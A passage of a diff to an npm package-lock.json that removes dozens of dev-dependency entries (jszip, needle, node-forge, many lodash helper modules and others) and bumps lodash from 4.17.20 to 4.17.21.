"sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==", "dev": true }, - "is-ci": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz", - "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==", - "dev": true, - "requires": { - "ci-info": "^2.0.0" - } - }, "is-core-module": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.2.0.tgz", @@ -10390,12 +8282,6 @@ "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==", "dev": true }, - "is-deflate": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-deflate/-/is-deflate-1.0.0.tgz", - "integrity": "sha1-yGKQHDwWH7CdrHzcfnhPgOmPLxQ=", - "dev": true - }, "is-descriptor": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", @@ -10415,12 +8301,6 @@ } } }, - "is-docker": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", - "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", - "dev": true - }, "is-extendable": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", @@ -10457,54 +8337,18 @@ "is-extglob": "^2.1.1" } }, - "is-gzip": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-gzip/-/is-gzip-1.0.0.tgz", - "integrity": "sha1-bKiwe5nHeZgCWQDlVc7Y7YCHmoM=", - "dev": true - }, "is-hexadecimal": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz", "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==", "dev": true }, - "is-installed-globally": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.3.2.tgz", - "integrity": "sha512-wZ8x1js7Ia0kecP/CHM/3ABkAmujX7WPvQk6uu3Fly/Mk44pySulQpnHG46OMjHGXApINnV4QhY3SWnECO2z5g==", - "dev": true, - "requires": { - "global-dirs": "^2.0.1", - "is-path-inside": "^3.0.1" - }, - "dependencies": { - "is-path-inside": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", - "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", - "dev": true - } - } - }, - "is-interactive": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", - "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", - "dev": true - }, "is-negative-zero": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==", "dev": true }, - "is-npm": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-4.0.0.tgz", - "integrity": "sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig==", - "dev": true - }, "is-number": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", @@ -10531,12 +8375,6 @@ "integrity": "sha512-zohwelOAur+5uXtk8O3GPQ1eAcu4ZX3UwxQhUlfFFMNpUd83gXgjbhJh6HmB6LUNV/ieOLQuDwJO3dWJosUeMw==", "dev": true }, - "is-obj": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", - "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", - "dev": true - }, "is-path-cwd": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", @@ -10641,12 +8479,6 @@ "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=", "dev": true }, - "is-yarn-global": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz", - "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==", - "dev": true - }, "isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", @@ -10782,25 +8614,6 @@ "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", "dev": true }, - "json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - "dev": true - }, - "json-file-plus": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/json-file-plus/-/json-file-plus-3.3.1.tgz", - "integrity": "sha512-wo0q1UuiV5NsDPQDup1Km8IwEeqe+olr8tkWxeJq9Bjtcp7DZ0l+yrg28fSC3DEtrE311mhTZ54QGS6oiqnZEA==", - "dev": true, - "requires": { - "is": "^3.2.1", - "node.extend": "^2.0.0", - "object.assign": "^4.1.0", - "promiseback": "^2.0.2", - "safer-buffer": "^2.0.2" - } - }, "json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", @@ -10894,26 +8707,6 @@ } } }, - "jszip": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.6.0.tgz", - "integrity": "sha512-jgnQoG9LKnWO3mnVNBnfhkh0QknICd1FGSrXcgrl67zioyJ4wgx25o9ZqwNtrROSflGBCGYnJfjrIyRIby1OoQ==", - "dev": true, - "requires": { - "lie": "~3.3.0", - "pako": "~1.0.2", - "readable-stream": "~2.3.6", - "set-immediate-shim": "~1.0.1" - }, - "dependencies": { - "pako": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", - "dev": true - } - } - }, "jwt-decode": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-2.2.0.tgz", @@ -10924,15 +8717,6 @@ "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.2.0.tgz", "integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk=" }, - "keyv": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", - "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", - "dev": true, - "requires": { - "json-buffer": "3.0.1" - } - }, "killable": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.1.tgz", @@ -10951,15 +8735,6 @@ "integrity": "sha512-sZLUnTqimCkvkgRS+kbPlYW5o8q5w1cu+uIisKpEWkj31I8mx8kNG162DwRav8Zirkva6N5uoFsm9kzK4mUXjw==", "dev": true }, - "latest-version": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz", - "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==", - "dev": true, - "requires": { - "package-json": "^6.3.0" - } - }, "levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", @@ -10970,15 +8745,6 @@ "type-check": "~0.3.2" } }, - "lie": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", - "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", - "dev": true, - "requires": { - "immediate": "~3.0.5" - } - }, "lines-and-columns": { "version": "1.1.6", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz", @@ -11043,57 +8809,21 @@ } }, "lodash": { - "version": "4.17.20", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz", - "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==" + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" }, "lodash-es": { "version": "4.17.21", "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" }, - "lodash.assign": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-4.2.0.tgz", - "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=", - "dev": true - }, - "lodash.assignin": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.assignin/-/lodash.assignin-4.2.0.tgz", - "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI=", - "dev": true - }, - "lodash.camelcase": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", - "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", - "dev": true - }, - "lodash.chunk": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.chunk/-/lodash.chunk-4.2.0.tgz", - "integrity": "sha1-ZuXOH3btJ7QwPYxlEujRIW6BBrw=", - "dev": true - }, - "lodash.clone": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz", - "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=", - "dev": true - }, "lodash.clonedeep": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=", "dev": true }, - "lodash.constant": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/lodash.constant/-/lodash.constant-3.0.0.tgz", - "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA=", - "dev": true - }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", @@ -11105,266 +8835,38 @@ "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", "dev": true }, - "lodash.defaults": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", - "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=", - "dev": true - }, - "lodash.endswith": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/lodash.endswith/-/lodash.endswith-4.2.1.tgz", - "integrity": "sha1-/tWawXOO0+I27dcGTsRWRIs3vAk=", - "dev": true - }, - "lodash.filter": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.filter/-/lodash.filter-4.6.0.tgz", - "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=", - "dev": true - }, - "lodash.find": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz", - "integrity": "sha1-ywcE1Hq3F4n/oN6Ll92Sb7iLE7E=", - "dev": true - }, - "lodash.findindex": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.findindex/-/lodash.findindex-4.6.0.tgz", - "integrity": "sha1-oyRd7mH7m24GJLU1ElYku2nBEQY=", - "dev": true - }, - "lodash.findkey": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.findkey/-/lodash.findkey-4.6.0.tgz", - "integrity": "sha1-gwWOkDtRy7dZ0JzPVG3qPqOcRxg=", - "dev": true - }, - "lodash.flatmap": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.flatmap/-/lodash.flatmap-4.5.0.tgz", - "integrity": "sha1-74y/QI9uSCaGYzRTBcaswLd4cC4=", - "dev": true - }, "lodash.flatten": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=", "dev": true }, - "lodash.flattendeep": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", - "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=", - "dev": true - }, "lodash.flow": { "version": "3.5.0", "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, - "lodash.foreach": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-4.5.0.tgz", - "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=", - "dev": true - }, "lodash.get": { "version": "4.4.2", "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" }, - "lodash.groupby": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.groupby/-/lodash.groupby-4.6.0.tgz", - "integrity": "sha1-Cwih3PaDl8OXhVwyOXg4Mt90A9E=", - "dev": true - }, - "lodash.has": { - "version": "4.5.2", - "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz", - "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=", - "dev": true - }, - "lodash.invert": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.invert/-/lodash.invert-4.3.0.tgz", - "integrity": "sha1-j/4g1LYW9WvqjxqgxuvYDc90Ku4=", - "dev": true - }, - "lodash.isboolean": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", - "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=", - "dev": true - }, - "lodash.isempty": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.isempty/-/lodash.isempty-4.4.0.tgz", - "integrity": "sha1-b4bL7di+TsmHvpqvM8loTbGzHn4=", - "dev": true - }, - "lodash.isequal": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", - "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=", - "dev": true - }, - "lodash.isfunction": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-3.0.9.tgz", - "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==", - "dev": true - }, - "lodash.isnumber": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", - "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=", - "dev": true - }, - "lodash.isobject": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-3.0.2.tgz", - "integrity": "sha1-PI+41bW/S/kK4G4U8qUwpO2TXh0=", - "dev": true - }, - "lodash.isplainobject": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", - "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=", - "dev": true - }, - "lodash.isstring": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", - "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=", - "dev": true - }, - "lodash.isundefined": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", - "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=", - "dev": true - }, - "lodash.keys": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-4.2.0.tgz", - "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU=", - "dev": true - }, - "lodash.last": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/lodash.last/-/lodash.last-3.0.0.tgz", - "integrity": "sha1-JC9mMRLdTG5jcoxgo8kJ0b2tvUw=", - "dev": true - }, - "lodash.map": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.map/-/lodash.map-4.6.0.tgz", - "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=", - "dev": true - }, - "lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true - }, - "lodash.omit": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz", - "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=", - "dev": true - }, - "lodash.orderby": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.orderby/-/lodash.orderby-4.6.0.tgz", - "integrity": "sha1-5pfwTOXXhSL1TZM4syuBozk+TrM=", - "dev": true - }, "lodash.pick": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=" }, - "lodash.reduce": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.reduce/-/lodash.reduce-4.6.0.tgz", - "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=", - "dev": true - }, - "lodash.set": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", - "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=", - "dev": true - }, - "lodash.size": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.size/-/lodash.size-4.2.0.tgz", - "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y=", - "dev": true - }, - "lodash.sortby": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", - "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", - "dev": true - }, - "lodash.sum": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/lodash.sum/-/lodash.sum-4.0.2.tgz", - "integrity": "sha1-rZDjl5ZdgD1PH/eqWy0Bl/O0Y3s=", - "dev": true - }, - "lodash.topairs": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.topairs/-/lodash.topairs-4.3.0.tgz", - "integrity": "sha1-O23qo31g+xFnE8RsXxfqGQ7EjWQ=", - "dev": true - }, "lodash.topath": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", "integrity": "sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak=" }, - "lodash.transform": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.transform/-/lodash.transform-4.6.0.tgz", - "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A=", - "dev": true - }, "lodash.truncate": { "version": "4.4.2", "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", "integrity": "sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=", "dev": true }, - "lodash.union": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", - "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=", - "dev": true - }, - "lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", - "dev": true - }, - "lodash.upperfirst": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/lodash.upperfirst/-/lodash.upperfirst-4.3.1.tgz", - "integrity": "sha1-E2Xt9DFIBIHvDRxolXpe2Z1J984=", - "dev": true - }, - "lodash.values": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.values/-/lodash.values-4.3.0.tgz", - "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=", - "dev": true - }, "log-symbols": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", @@ -11462,12 +8964,6 @@ "integrity": "sha1-miyr0bno4K6ZOkv31YdcOcQujqw=", "dev": true }, - "lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", - "dev": true - }, "lru-cache": { "version": "4.1.5", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", @@ -11478,12 +8974,6 @@ "yallist": "^2.1.2" } }, - "macos-release": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.4.1.tgz", - "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg==", - "dev": true - }, "make-dir": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", @@ -11528,23 +9018,6 @@ "resolved": "https://registry.npmjs.org/marked/-/marked-2.0.0.tgz", "integrity": "sha512-NqRSh2+LlN2NInpqTQnS614Y/3NkVMFFU6sJlRFEpxJ/LHuK/qJECH7/fXZjk4VZstPW/Pevjil/VtSONsLc7Q==" }, - "matcher": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", - "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", - "dev": true, - "requires": { - "escape-string-regexp": "^4.0.0" - }, - "dependencies": { - "escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true - } - } - }, "mathml-tag-names": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/mathml-tag-names/-/mathml-tag-names-2.1.3.tgz", @@ -11740,12 +9213,6 @@ "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", "dev": true }, - "mimic-response": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", - "dev": true - }, "min-document": { "version": "2.19.0", "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", @@ -11824,41 +9291,6 @@ } } }, - "minipass": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.3.tgz", - "integrity": "sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - }, - "dependencies": { - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "minizlib": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", - "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", - "dev": true, - "requires": { - "minipass": "^3.0.0", - "yallist": "^4.0.0" - }, - "dependencies": { - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, "mississippi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", @@ -11990,34 +9422,6 @@ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, - "needle": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/needle/-/needle-2.6.0.tgz", - "integrity": "sha512-KKYdza4heMsEfSWD7VPUIz3zX2XDwOyX2d+geb4vrERZMT5RMU6ujjaD+I5Yr54uZxQ2w6XRTAhHBbSCyovZBg==", - "dev": true, - "requires": { - "debug": "^3.2.6", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" - }, - "dependencies": { - "debug": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", - "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true - } - } - }, "negotiator": { "version": "0.6.2", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", @@ -12054,12 +9458,6 @@ "is-stream": "^1.0.1" } }, - "node-forge": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.9.0.tgz", - "integrity": "sha512-7ASaDa3pD+lJ3WvXFsxekJQelBKRpne+GOVbLbtHYdd7pFspyeuJHnWfLplGf3SwKGbfs/aYl5V/JCIaHVUKKQ==", - "dev": true - }, "node-gyp": { "version": "3.8.0", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", @@ -12153,12 +9551,6 @@ } } }, - "node-releases": { - "version": "1.1.71", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.71.tgz", - "integrity": "sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg==", - "dev": true - }, "node-sass": { "version": "4.14.1", "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.14.1.tgz", @@ -12211,16 +9603,6 @@ } } }, - "node.extend": { - "version": "2.0.2", - "resolved": 